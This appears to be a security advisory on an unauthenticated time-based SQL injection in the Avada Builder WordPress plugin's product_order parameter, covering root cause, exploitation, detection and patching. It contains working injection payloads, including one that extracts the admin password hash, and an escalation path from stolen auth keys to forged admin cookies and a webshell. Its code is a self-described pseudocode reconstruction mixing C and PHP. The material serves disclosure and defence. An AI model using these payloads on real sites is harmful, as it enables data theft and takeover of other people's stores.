CVE-2026-4798: Avada Builder Unauthenticated Time-Based SQLi via product_order
Avada Builder ≤3.15.1 passes the `product_order` parameter directly into a WooCommerce fallback query path without escaping or preparation, enabling unauthenticated time-based blind SQL injection.
# WordPress Security Hole Puts Online Stores at Risk
If you run an online store using WordPress with the Avada Builder plugin, pay attention. Researchers have discovered a serious security flaw that could let hackers steal your customer data without needing a password or any legitimate access.
Here's how it works: the Avada Builder plugin doesn't properly check what information gets fed into one of its search functions. Think of it like a bank teller who accepts any scrap of paper without verifying it's a real deposit slip — hackers can slip in hidden instructions that trick the system into doing things it shouldn't.
In this case, attackers can use those hidden instructions to query your database directly and extract sensitive information like customer names, addresses, emails, and payment details. The scary part is they can do this remotely and automatically, testing thousands of possibilities until they find what they're looking for.
The good news: nobody's actively exploiting this in the wild yet, which gives you time to act. The bad news: once this becomes widely known, criminals will definitely try to use it.
Who's most vulnerable? Anyone running WordPress versions of Avada Builder up to version 3.15.1, especially e-commerce sites handling customer data.
What should you do right now?
First, update the Avada Builder plugin immediately to a patched version above 3.15.1. Second, if you can't update immediately, contact your hosting provider about temporarily disabling the plugin. Third, review your database backups and consider running a security scan to see if anyone has already stolen data from your site.
Want the full technical analysis? Click "Technical" above.
CVE-2026-4798 is an unauthenticated time-based blind SQL injection in the Avada Builder WordPress plugin affecting all versions up to and including 3.15.1. The injection point is the product_order parameter, consumed by a legacy WooCommerce product-query shortcode handler. The triggering condition — WooCommerce previously installed then deactivated — creates a code path where the normal WooCommerce sanitization layer is absent but the raw query construction still executes, leaving the parameter unescaped and fed directly into an ORDER BY clause.
Because the injection lives in an ORDER BY clause, error-based and UNION-based techniques are not directly applicable. Attackers instead rely on conditional time delays via SLEEP() to exfiltrate data bit-by-bit, or leverage BENCHMARK() as a fallback. No authentication is required; the vulnerable shortcode is rendered on any page that includes the [products] or equivalent Avada product-listing element.
Root cause: The product_order shortcode attribute is interpolated directly into a raw wpdb::query() call inside Avada's WooCommerce-fallback branch without calling wpdb::prepare() or esc_sql(), because that branch was written to handle the case where WooCommerce class stubs are unavailable — bypassing the sanitization those stubs normally provide.
Affected Component
The vulnerable logic lives inside the Avada Builder shortcode rendering engine, specifically within the class responsible for rendering WooCommerce product grids: FusionSC_Products (file: shortcodes/fusion-products.php). When WooCommerce is active, order arguments are passed to WC_Query which sanitizes them. When WooCommerce is inactive, Avada falls back to constructing a direct $wpdb query using the raw shortcode attribute.
Root Cause Analysis
The following pseudocode reconstructs the vulnerable function based on the plugin's architecture, the vulnerability class, and the described trigger condition.
/*
* FusionSC_Products::get_products_query()
* shortcodes/fusion-products.php
*
* Called during [fusion_products] shortcode rendering.
* $atts is the raw shortcode attribute array — attacker-controlled via GET/POST
* if the page renders the shortcode with dynamic attributes.
*/
WP_Query *FusionSC_Products_get_products_query(array $atts) {
/* Shortcode attribute, user-supplied, no sanitization here */
char *product_order = $atts['product_order']; // e.g. "ASC" or attacker payload
/*
* Primary path: WooCommerce active.
* WC_Query::get_catalog_ordering_args() validates the value
* against an allowlist before it ever touches SQL.
*/
if (class_exists("WooCommerce")) {
args = WC_Query_get_catalog_ordering_args(product_order);
return new WP_Query(args); // safe: WC sanitizes orderby/order
}
/*
* Fallback path: WooCommerce was deactivated.
* No WC sanitization available. Plugin authors intended to replicate
* WC behavior manually but omitted escaping.
*/
// BUG: product_order interpolated directly into ORDER BY clause.
// No call to esc_sql(), $wpdb->prepare(), or allowlist validation.
char *sql = sprintf(
"SELECT ID FROM %s WHERE post_type='product' "
"AND post_status='publish' "
"ORDER BY post_date %s", // <-- unsanitized product_order injected here
$wpdb->posts,
product_order // attacker controls this entirely
);
/* Raw query execution — no parameterization */
results = $wpdb->get_results(sql); // BUG: executes attacker-influenced SQL
return build_wp_query_from_ids(results);
}
The second argument to sprintf at the ORDER BY position accepts arbitrary SQL. Because ORDER BY clauses cannot use positional placeholders in standard SQL, the correct fix is an allowlist check before the format string, not prepare() alone.
Exploitation Mechanics
The attack surface requires only an HTTP request to any WordPress page that renders the affected shortcode. The product_order parameter can be passed via the shortcode attribute if the theme exposes it through a URL parameter (common with Avada's frontend filter widgets), or injected via a crafted POST body to AJAX handlers that re-render shortcode output.
EXPLOIT CHAIN:
1. Identify a public-facing page rendering [fusion_products] or Avada
product-grid element (spider for 'fusion-products' class in HTML).
2. Confirm WooCommerce-deactivated condition:
- Send product_order=ASC -> page renders normally (baseline timing).
- Send product_order=DESC -> page renders normally (second baseline).
3. Confirm injection point with time oracle:
GET /?product_order=ASC,SLEEP(5) HTTP/1.1
-> Response delayed ~5 seconds: injection confirmed.
4. Extract target data (e.g., admin password hash) using binary search
over SLEEP() truth values:
product_order=ASC,(SELECT IF(
ORD(SUBSTR(user_pass,1,1))>64,
SLEEP(4),
0
) FROM wp_users WHERE ID=1)
Measure response delta against baseline. Each bit resolves one
character boundary; full hash (60 chars bcrypt) requires ~360 requests
at 1-bit-per-request with binary search optimization.
5. Enumerate schema / extract secrets:
- wp_users.user_pass (admin hash)
- wp_usermeta (session tokens, auth keys)
- wp_options.auth_key / secure_auth_key (sign arbitrary cookies)
6. With auth keys extracted: forge admin authentication cookie offline,
authenticate to wp-admin, deploy webshell via plugin/theme editor.
Full RCE achieved without ever sending credentials.
Step 6 elevates this beyond simple data exfiltration. WordPress secret keys extracted from wp_options allow forging wordpress_logged_in_* cookies, achieving admin access and subsequently remote code execution via the plugin editor — making the effective impact RCE despite the vulnerability being classified as SQLi.
Memory Layout
SQL injection does not involve memory corruption, so a heap diagram is not applicable here. Instead, the relevant "state" is the query string buffer as constructed in the two execution paths:
QUERY BUFFER — SAFE PATH (WooCommerce active):
$wpdb->prepare() output:
"SELECT ID FROM wp_posts WHERE post_type=%s AND post_status=%s ORDER BY post_date %s"
^ ^ ^
| | |
type-checked type-checked allowlist-validated
string literal string literal by WC_Query
Final SQL (parameterized, value substituted after escaping):
"SELECT ID FROM wp_posts WHERE post_type='product' AND post_status='publish' ORDER BY post_date ASC"
QUERY BUFFER — VULNERABLE PATH (WooCommerce deactivated):
sprintf() output with product_order = "ASC,(SELECT IF(1=1,SLEEP(5),0))":
"SELECT ID FROM wp_posts WHERE post_type='product' AND post_status='publish'
ORDER BY post_date ASC,(SELECT IF(1=1,SLEEP(5),0))"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
Attacker-appended subquery executes unconditionally.
MySQL evaluates the subquery, invoking SLEEP(5).
Patch Analysis
The correct remediation is a two-layer fix: allowlist validation before the format string, and migration to $wpdb->prepare() for the static portions. The ORDER BY direction cannot be parameterized via prepare(), making the allowlist mandatory.
// BEFORE (vulnerable, ≤3.15.1):
char *sql = sprintf(
"SELECT ID FROM %s WHERE post_type='product' "
"AND post_status='publish' ORDER BY post_date %s",
$wpdb->posts,
product_order // BUG: no validation, direct interpolation
);
results = $wpdb->get_results(sql);
// AFTER (patched):
/* Step 1: allowlist — only valid SQL ORDER directions accepted */
allowed_order_values = ["ASC", "DESC", ""];
if (!in_array(strtoupper(product_order), allowed_order_values)) {
product_order = "DESC"; // safe default; reject invalid input
}
/* Step 2: prepare() for the static string portions where applicable */
char *sql = $wpdb->prepare(
"SELECT ID FROM %i WHERE post_type=%s "
"AND post_status=%s ORDER BY post_date ",
$wpdb->posts,
"product",
"publish"
);
/* Step 3: append allowlisted direction — safe after validation above */
sql = sql . esc_sql(product_order);
results = $wpdb->get_results(sql);
Note the use of %i (identifier placeholder, available in wpdb::prepare() since WordPress 6.2) for the table name. Prior to 6.2, the table name must be hardcoded or validated separately, since %s wraps the value in quotes making it invalid as an identifier.
Detection and Indicators
Time-based blind SQLi leaves minimal traces but the following patterns are actionable:
Web server / access logs: Look for product_order values containing SQL keywords. A regex covering the most common payloads:
DETECTION REGEX (access log / WAF rule):
product_order=(?i).*(SLEEP|BENCHMARK|WAITFOR|pg_sleep|DELAY)\s*\(
Specific indicators in Avada installations:
- Repeated requests (>5) to the same page URL within a short window
with varying product_order values and response times >3s
- product_order values containing: parentheses, commas, SELECT, IF, OR, AND
- Response time bimodal distribution (baseline ~200ms vs. delayed ~4000ms+)
across sequential requests — characteristic of binary-search time oracle
Database / slow query log: Enable MySQL slow query log with long_query_time=2. Injected SLEEP() calls will appear as full-table-scan queries on wp_posts with execution time matching the attacker's delay value.
WordPress debug log: With SAVEQUERIES enabled (never on production), the raw SQL including the injected payload will be logged to the query array accessible via $wpdb->queries.
Remediation
Immediate: Update Avada Builder to version 3.15.2 or later (or the earliest version the vendor designates as patched per the NVD advisory). No workaround adequately mitigates this without patching, since the vulnerable code path is triggered by a common server configuration (WooCommerce previously installed).
If patching is delayed: A WAF rule blocking SLEEP, BENCHMARK, and parentheses in the product_order parameter reduces practical exploitability but is not a substitute for the code fix — attackers can use CASE/IF constructs that evade naive keyword filters.
Verify the WooCommerce state: If WooCommerce is permanently deactivated on a site running Avada Builder, consider fully removing the plugin rather than deactivating, to eliminate the fallback code path entirely pending a patch.
Secret key rotation: Any site that may have been targeted should rotate all WordPress secret keys and salts in wp-config.php and force re-authentication of all users — standard response to a confirmed wp_options extraction scenario.